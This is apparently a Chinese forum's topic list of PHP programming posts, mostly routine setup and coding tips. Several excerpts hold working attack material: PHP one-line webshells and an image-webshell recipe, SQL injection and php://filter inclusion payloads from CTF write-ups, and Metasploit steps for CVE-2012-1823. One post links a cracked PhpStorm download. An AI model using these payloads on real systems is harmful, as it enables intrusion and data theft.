各种编程技术

1,773个主题在此版块

1. 

   【PHP库】phpseclib - sftp远程文件操作

   2022年11月4日 由 HACK1949

   • 0 篇回复
   • 99 次查看

   需求场景说明 对接的三方商家需要进行文件传输，并且对方提供的方式是 sftp 的服务器账号，我们需根据他们提供的目录进行下载和上传指定文件。 安装 composer require phpseclib/phpseclib:~3.0 使用sftp功能 1.新建并设置config/sftp.php文件 return [ 'sftp' => [ 'host' => env('SFTP_HOST', '127.0.0.1'), 'port' => env('SFTP_PORT', 22), 'user' => env('SFTP_USE', null), 'password' => env('SFTP_PASSWORD', null), ], ]; 2.配置.env文件 SFTP_HOST=127.0.0.1 SFTP_PORT=22 SFTP_USE=user SFTP_PASSWORD=password 3.封装 app/Utils/SftpHelper.php调用库文件，通过单例可设置不同的 sftp 服务器 namespace App\Utils; use phpseclib3\Net\SFTP; class SftpHelper { private static $instance = []; public static function getInstance($key='sftp…

   

   HACK1949的最后回复，2022年11月4日

   • 文件,remote,phpseclib,sftp,SFTP,file,服务器,PHP
2. 

   PhpStorm 2022.2 最新变化有哪些，附PhpStorm中文版下载(mac/win)

   2022年11月4日 由 HACK1949

   • 0 篇回复
   • 96 次查看

   PhpStorm2022更新了，最新PhpStorm 2022.2版本应该了新的变化。PhpStorm 2022.2 是一项重大更新，具有 Mockery 和 Rector 支持、增强的泛型和枚举支持、调试器和 HTTP 客户端改进等。 PhpStorm mac中文版下载https://www.macw.com/mac/3789.html?id=ODA2NCZfJjI3LjE4Ni4xMjQuNA%3D%3D PhpStorm win激活版下载https://soft.macxf.com/soft/2728.html?id=MjkzOTU%3D PhpStorm 2022.2 最新变化 Mockery 支持 PhpStorm 2022.2 引入了对流行模拟对象框架Mockery的支持。 我们对大部分 Mockery 功能、有助于改进工作流的检查、界面模拟等提供自动补全支持。 Rector 支持 此版本的第二个主要更新是对 Rector 的支持，Rector 是用于管理 PHP 升级和批量重构的自动化工具。 您现在可以从 PhpStorm 运行 Rector，使用便捷的差异视图查看文件更改，以及深入管理其配置。 PHP 泛型 最后，我们改进了对泛型的支持。 此版本添加了对整数的最小值和最大值的支持，改进了对集合的支持，还改进了闭包的类型推断。 高亮显示失败的测试断言 有测试断言失败时，PhpStorm 会高亮显示失败的行，并允许使用新的上下文菜单建议从失败的行重新运行测试。 在失败的行上按 Alt+Ent…

   

   HACK1949的最后回复，2022年11月4日

   • 代码,支持,mac,PhpStorm,Rector,PHP,2022.2
3. 

   Windows安装composer

   2022年11月4日 由 HACK1949

   • 0 篇回复
   • 76 次查看

   首先下载composer安装包，地址 https://getcomposer.org/Composer-Setup.exe 然后下一步，这里选择你的PHP版本，就是PHP所安装的位置 然后一直下一步，直到看到下图这样的就可以了

   

   HACK1949的最后回复，2022年11月4日

   • 一步,Windows,安装,composer,getcomposer,PHP,安装包
4. 

   php （nginx,apache） 常用配置

   2022年11月4日 由 HACK1949

   • 0 篇回复
   • 109 次查看

   前台html服务器,测试的时候不加缓存 server { listen 82; root D:/phpStudy/WWW/xxx; index index.html index.htm; location ~ .*\.(css|js|swf|htm|html)$ { add_header Cache-Control no-store; } } php项目 laravel , thinkphp , Ci 都用这个 server { listen 83; root D:\phpStudy\WWW\xxx\public; index index.html index.htm index.php; location / { try_files $uri $uri/ /index.php?$query_string; } location ~ \.php$ { fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } 一般的php项目,例如测试的,非框架 server { listen 80; server_name mytest.com test.com; root "D:/phpStudy/WWW/test.com"; location /…

   

   HACK1949的最后回复，2022年11月4日

   • index,log,nginx,location,apache,path,php,fastcgi
5. 

   本地laravel+composer配置

   2022年11月4日 由 HACK1949

   • 0 篇回复
   • 88 次查看

   composer安装和laravel本地环境配置（十分钟左右） 1.安装composer （1）需要安装php（以phpstudy集成开发环境为例） 桌面找到phpstudey 图标，鼠标右击 ->选择 ‘文件所在的位置’-> 按下back(<----)键 即（F12下面的键）-> 打开Extensions文件夹->选择php文件夹->选择一个php版本点开文件夹 配置环境变量 然后连续点击三个确定按钮 是否配置成功测试： Windows 徽标键 （键盘左下角第二个 四个方块的键） 输入cmd。如图： 点击确定 然后输入php -v 如图： （2）安装composer 下载这个文件（最好用迅雷下载 快） https://getcomposer.org/download/2.0.8/composer.phar 把该文件复制到php根目录,也就是和 php.exe 在同一级目录。 然后在 PHP 安装目录下新建一个 composer.bat 文件，并将下列代码保存到此文件中。 @php "%~dp0composer.phar" %* 该过程来源于composer官网 检查新开启一个cmd窗口（开启方式如上图Windows 徽标键 +R 输入cmd ） 直接输入命令 ： composer-v 到此composer安装完成 （3）composer 配置成阿里云镜像 所有…

   

   HACK1949的最后回复，2022年11月4日

   • laravel,composer,cmd,文件夹,本地,php,输入
6. 

   文件上传

   2022年11月4日 由 HACK1949

   • 0 篇回复
   • 99 次查看

   文件上传概要 变形的一句话木马 GIF89a #define width 1337 #define height 1337 #只支持php5 <script language="php">@eval($_POST[cmd]);phpinfo();</script> php7适用 GIF89a #define width 1337 #define height 1337 <?=@eval($_POST[CMD]); 制作图片马的方法 准备一个一句话木马1.php和一个正常的图片2.jpg放到同一个文件夹 copy 1.jpg/b+1.php/a 2.jpg 写马 <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>')?> 解析漏洞 Apache解析漏洞 apache1.x 2.x中，文件名的解析具有以下特性，Phpshell.php.rar 因为apache不认识.rar文件类型，所以会一直遍历后缀到.php ，认为这是一个php文件 IIS解析漏洞 1.当文件名为abc.asp;xx.jpg时，IIS6会将文件解析为abc.asp;与0x00截断文件名类似，只是截断符变成了 ";" …

   

   HACK1949的最后回复，2022年11月4日

   • 文件,asp,解析,jpg,xx,php,上传
7. 

   PHP 安全漏洞：会话劫持、跨站点脚本、SQL 注入以及如何修复它们

   2022年11月4日 由 HACK1949

   • 0 篇回复
   • 89 次查看

   PHP 中的安全性 在编写 PHP 代码时，牢记以下安全漏洞非常重要，以避免编写不安全的代码。 漏洞类型 这些是您在编写 PHP 代码时会遇到的常见漏洞。我们将在下面更深入地讨论一些。 Cross Site Request Forgery由于程序员没有检查请求从哪里发送而导致的应用程序中的一个漏洞——这种攻击被发送给高权限级别的用户以获得对应用程序的更高级别的访问权限。 跨站脚本程序员在将输入输出到浏览器之前没有清理输入（例如博客上的评论）导致的应用程序漏洞。它通常用于在浏览器中运行恶意 javascript 来进行攻击，例如窃取会话 cookie 以及其他恶意操作，以在应用程序中获得更高级别的权限。 本地文件包含由程序员需要用户提供的文件输入并且在访问请求的文件之前未清理输入而导致的应用程序漏洞。这会导致文件被包含在不应该包含的位置。 远程文件包含由程序员需要用户提供的文件输入并且在访问请求的文件之前未对输入进行清理而导致的应用程序漏洞。这会导致从远程服务器中提取文件并将其包含在不应该存在的位置。 会话劫持攻击者获得对用户会话标识符的访问权并能够使用另一个用户的帐户来冒充他们而导致的漏洞。这通常用于访问管理用户的帐户。 Session Identifier Acquirement Session Identifier Acquirement 是攻击者能够猜测用户的会话标识符或利用应用程序本身或用户浏览器中的漏洞获取会话标识符而导致的漏洞。 SQL 注入由程序员在将输入包含到数据库查询之前未清理输入而导致的应用程序漏洞。这导致攻击者拥…

   

   HACK1949的最后回复，2022年11月4日

   • 攻击,用户,应用程序,会话,SQL,安全漏洞,PHP,输入
8. 

   攻防世界 | Web-Fakebook

   2022年11月4日 由 HACK1949

   • 0 篇回复
   • 87 次查看

   这关一进来一个登录框，一个注册框，题目没给什么提示 先注册一个试试（但是注册完之后退不回去了 需要重新开一个浏览器） 注册完随便点一点，发现URL有点异样 http://111.200.241.244:54356/view.php?no=1 看起来又是个SQL注入 先加个单引号——果然报错了 接着用order by 测试出来有四个字段 常规的联合查询注入搞一下union select（我猜应该没这么简单） 但是！union select 不行 ，我们试试union all select（成功绕过） ?no=0 union all select 1,database(),3,4 --+ 数据库名fakebook ?no=0 union all select 1,group_concat(table_name),3,4 from information_schema.tables --+ 拿到所有表名字 ?no=0 union all select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'--+ 字段名users ?no=0 union all select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+ 字段值 …

   

   HACK1949的最后回复，2022年11月4日

   • Web,攻防,name,no,union,blog,php,Fakebook,select
9. 

   php 视频压缩ffmpeg

   2022年11月4日 由 HACK1949

   • 0 篇回复
   • 93 次查看

   $save_dir = storage_path('app') . '/public/' . mt_rand(99, 999) . time() . '_video' . ".mp4"; //保存原视频 $out_dir = storage_path('app') . '/public/' . mt_rand(99, 999) . time() . '_smallVideo' . ".mp4"; //压缩后的视频 $rs_video = $this->reduceVideo($oss_url, $out_dir, $save_dir); if ($rs_video == false) { continue; //压缩视频失败 } //视频压缩 public function reduceVideo($oss_url,$out_dir,$save_dir){ $r = file_put_contents($save_dir, file_get_contents($oss_url)); if(!$r) return false; $toSize = "8M"; //最大不超过8M //判断文件大小 $file_size = filesize($save_dir); $file_size = intval($file_size / 1048576); if($file_s…

   

   HACK1949的最后回复，2022年11月4日

   • size,php,ffmpeg,视频压缩,contents,file,save,dir,out
10. 

    帝国CMS：后台登录后，跳转"您还未登录"错误提示解决方法

    2022年11月4日 由 HACK1949

    • 0 篇回复
    • 78 次查看

    登录帝国CMS，正确输入账户密码后，还会跳出提示“您还未登录”； 问题分析，登录相关的缓存写入权限不够导致的登录回跳。 解决方法： 1.修改 /e/data/adminlogin 文件夹下，index.php的权限，一般是因为权限为644，改为755及以上就可。 2.修改 /e/config/config.php文件内，$ecms_config['cks']['ckdomain']，将值改为空或者当前域名，例如：abc.com。

    

    HACK1949的最后回复，2022年11月4日

    • php,登录,提示,CMS,跳转,权限,config
11. 

    攻防世界 | Web-ics-05

    2022年11月4日 由 HACK1949

    • 0 篇回复
    • 106 次查看

    题目描述 其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统 打开题目 先进来随便点点看看有什么功能 除了“设备维护中心”，其他都没反应，对应了题目，那么应该在这里做文章了 路径是这个：http://61.147.171.105:50657/index.php 御剑扫了一下后台没扫出来什么有利用价值的东西 右键查看一下源代码 二话不说，访问就对了 有回显 猜测可能是文件包含 看到page，联想到这题可能是文件包含，试一下index改成 /etc/passswd 八九不离十了 利用php伪协议 ?page=php://filter/read=convert.base64-encode/resource=index.php 获得源码 解密一下 <?php error_reporting(0); @session_start(); posix_setuid(1000); ?> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="renderer" content="webkit"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="vi…

    

    HACK1949的最后回复，2022年11月4日

    • Web,05,pattern,subject,die,ics,php,page,replacement
12. 

    PHP CGI漏洞利用

    2022年11月4日 由 HACK1949

    • 0 篇回复
    • 90 次查看

    PHP CGI漏洞利用 今日复现一个早期的漏洞，PHP CGI漏洞，代号为cve:2012-1823，该漏洞暂时只能攻击linux系统，属于linux漏洞 使用工具：攻击机kali linux、靶机metasploitable linux 具体步骤如下： 1.登入msfconsloe 2.搜索漏洞代号，输入 search cve:2012-1823 3.复制粘贴exploit/multi/http/php_cgi_arg_injection 或者use 0 详细如下： msf > use exploit/multi/http/php_cgi_arg_injection 或者 msf > use 0 4.进行相关设置 msf6 exploit(multi/http/php_cgi_arg_injection) > set rhosts 192.168.30.141 rhosts => 192.168.30.141 msf6 exploit(multi/http/php_cgi_arg_injection) > msf6 exploit(multi/http/php_cgi_arg_injection) > show options 5.开始攻击 msf6 exploit(multi/http/php_cgi_arg_injection) > exploit 6.攻击成功，输入shell，可进入被攻击方的命令提示符，权限为系统管理员权限 meterpreter &…

    

    HACK1949的最后回复，2022年11月4日

    • CGI,cgi,multi,php,http,漏洞,exploit,injection,PHP
13. 

    buuctf-web-[SUCTF 2019] CheckIn

    2022年11月4日 由 HACK1949

    • 0 篇回复
    • 91 次查看

    时间：August 9 2022 测试发现不可以上传以.ph开头的后缀名文件。于是想到上传.htaccess文件+上传图片马的方式执行webshell，结果并没有成功。 为啥失败了呢？原来题目环境用的是Nginx服务器而不是Apache。而.htaccess是Apache的配置文件。 查资料发现.user.ini文件也可以构成php后门。这也是本题的考点之一。 一些技巧 绕过exif_imagetype() exif_imagetype() 读取一个图像的第一个字节并检查其签名。 具体可以参考：https://www.php.net/manual/zh/function.exif-imagetype.php 下表给出了常见的图片文件及其文件头部(header)，文件头部中包含了签名部分。 image type signature description .gif GIF 16进制(47 49 46) 签名字段为header的前三个字节：GIF，后三个字节89a为版本字段 .jpg 十六进制 FF D8 FF E0 FF D8 是一种marker type，表示jpg图片的开始 .png 十六进制 89 50 4E 47 0D 0A 1A 0A A PNG file is composed of an 8-byte signature header, followed by any number of chunks that contain control data / metadata / image data. 提示…

    

    HACK1949的最后回复，2022年11月4日

    • SUCTF,web,PHP,文件,CheckIn,ini,php,上传,user
14. 

    php：面向对象之成员变量（数组）

    2022年11月4日 由 HACK1949

    • 0 篇回复
    • 81 次查看

    php：面向对象之成员变量（数组） 一、PHP源码 1 <?php 2 3 class DATA{ 4 public $dlt_data = ""; 5 6 // set value of $dlt_data by ARRAY 7 function set_array_value($array_type) 8 { 9 $this->dlt_data = $array_type; 10 } 11 12 // set value of '$DATA->dlt_data' by key and value. 13 function set_key_value($key, $value) 14 { 15 $this->dlt_data[$key]=$value; 16 } 17 } 18 19 20 function display_data($DATA_type) 21 { 22 foreach($DATA_type->dlt_data as $k=>$v) 23 { 24 echo $k . " => " . $v …

    

    HACK1949的最后回复，2022年11月4日

    • set,data,object,value,面向对象,数组,dlt,php,DATA
15. 

    php：php以脚本的方式运行

    2022年11月4日 由 HACK1949

    • 0 篇回复
    • 84 次查看

    php：php以脚本的方式运行 一、php源码 1 [root@rockylinux php]# 2 [root@rockylinux php]# uname -a 3 Linux rockylinux 4.18.0-372.19.1.el8_6.x86_64 #1 SMP Tue Aug 2 16:19:42 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux 4 [root@rockylinux php]# 5 [root@rockylinux php]# pwd 6 /root/user/lidawei/program/php 7 [root@rockylinux php]# 8 [root@rockylinux php]# ls 9 test.php 10 [root@rockylinux php]# 11 [root@rockylinux php]# whereis php 12 php: /usr/bin/php /usr/lib64/php /etc/php.d /etc/php.ini /usr/share/php /usr/share/man/man1/php.1.gz 13 [root@rockylinux php]# 14 [root@rockylinux php]# cat test.php 15 #!/usr/bin/php 16 17 18 <?php 19 20 $var1="PHP…

    

    HACK1949的最后回复，2022年11月4日

    • 脚本,x86,64,usr,rockylinux,php,root,运行
16. 

    靶场Prime目标主机攻击

    2022年11月4日 由 HACK1949

    • 0 篇回复
    • 65 次查看

    一、ping扫描C段 nmap -sP 192.168.178.1/24 ————》获取IP 二、端口扫描 nmap -p 1-65535 -A 192.168.178.133 ——》获取80 22端口 补充：端口扫描其他方法 netdiscover -p arp-scan ? 三、目录扫描 dirb http://192.168.178.133 --> 获取index.php,image.php dirb http://192.168.178.133 -X .php,.txt,.zip ———》获取secrt.txt文件 curl http://192.168.178.133/secrt.txt ——》获取fuzz方法获取参数提醒，获取location.txt文件提醒 补充学习：目录扫描其他方法 nikto -host 192.168.178.133 四、FUZZ获取参数名 wfuzz -w /usr/share/wfuzz/wordlist/genrual/commom.txt http://192.168.178.133/index.php?FUZZ wfuzz -C -w /usr/share/wfuzz/wordlist/genrual/commom.txt --hw 12 http://192.168.178.133/index.php?FUZZ ——》获取fuzz参数为file curl http://192.168.178.133/index.php?file=loc…

    

    HACK1949的最后回复，2022年11月4日

    • Prime,txt,http,45010,178.133,主机,192.168,靶场,php
17. 

    php：输出关联数组特定范围的数据

    2022年11月4日 由 HACK1949

    • 0 篇回复
    • 90 次查看

    php：输出关联数组特定范围的数据 一、php源码（将“关联数组”转化为“索引数组”，然后输出） 1 <?php 2 3 // define data structure 4 class SCOPE 5 { 6 private $scp_start=""; 7 private $scp_end=""; 8 9 public function set_start($scp_start) 10 { 11 $this->scp_start=$scp_start; 12 } 13 14 public function get_start() 15 { 16 return $this->scp_start; 17 } 18 19 public function set_end($scp_end) 20 { 21 $this->scp_end=$scp_end; 22 } 23 24 public function get_end() 25 { 26 return $th…

    

    HACK1949的最后回复，2022年11月4日

    • end,关联,start,数组,var,scope,array,php,scp
18. 

    php语法

    2022年11月4日 由 HACK1949

    • 0 篇回复
    • 68 次查看

    判断是否为空 if (!$cart_num || !$cart_info) return []; 数组循环 $compute_arr = ['coupon_price', 'integral_price', 'postage_price', 'use_integral', 'one_brokerage', 'two_brokerage', 'sum_true_price']; foreach ($compute_arr as $field) { if (!isset($cart_info[$field]) || !$cart_info[$field] || $is_gift) { $new_cart_info[$field] = 0; continue; } $scale = 2; if ($field == 'use_integral') $scale = 0; if (!$i) {//拆出 $new_cart_info[$field] = bcmul((string)$cart_num, bcdiv((string)$cart_info[$field], (string)$cart_info['cart_num'], 4), $scale); } else { $field_number = bcmul((string)bcsub((string)$cart_info['cart_num'], (stri…

    

    HACK1949的最后回复，2022年11月4日

    • info,scale,string,cart,语法,field,num,php
19. 

    伪静态 记录备用

    2022年11月4日 由 HACK1949

    • 0 篇回复
    • 80 次查看

    Options +FollowSymLinks IndexIgnore */* RewriteEngine on # if a directory or a file exists, use it directly RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d # otherwise forward it to index.php RewriteRule . index.php SetEnvIf Authorization "(.*)" HTTP_AUTHORIZATION=$1 <IfModule mod_rewrite.c> Options +FollowSymlinks -Multiviews RewriteEngine On RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L] </IfModule>

    

    HACK1949的最后回复，2022年11月4日

    • index,php,记录,静态,RewriteEngine,REQUEST,FILENAME,RewriteCond,备用
20. 

    三步将Mac系统默认PHP版本切换为MAMP等扩展环境中的PHP版本

    2022年11月4日 由 HACK1949

    • 0 篇回复
    • 88 次查看

    1.先查出MAMP下面集成的PHP版本 cd /Applications/MAMP/bin/php ls -ls 2.编辑修改 .bash_profile 文件（没有.bash_profile 文件的情况下回自动创建） sudo vim ~/.bash_profile 在文件的最后输入以下信息，然后保存退出 export PATH="/Applications/MAMP/bin/php/php7.2.20/bin:$PATH" 红色的部分就是你要切换的php版本类型（看项目需求选择) 3. 执行以下命令 source .bash_profile　 如果报错的话请先进入 ls ~ 目录再执行，没报错的话证明你已经操作成了。 输入命令：php -v 查看 图一为未切换前的版本，图二为切换成功的 7.2.20

    

    HACK1949的最后回复，2022年11月4日

    • profile,bin,php,MAMP,版本,PHP,bash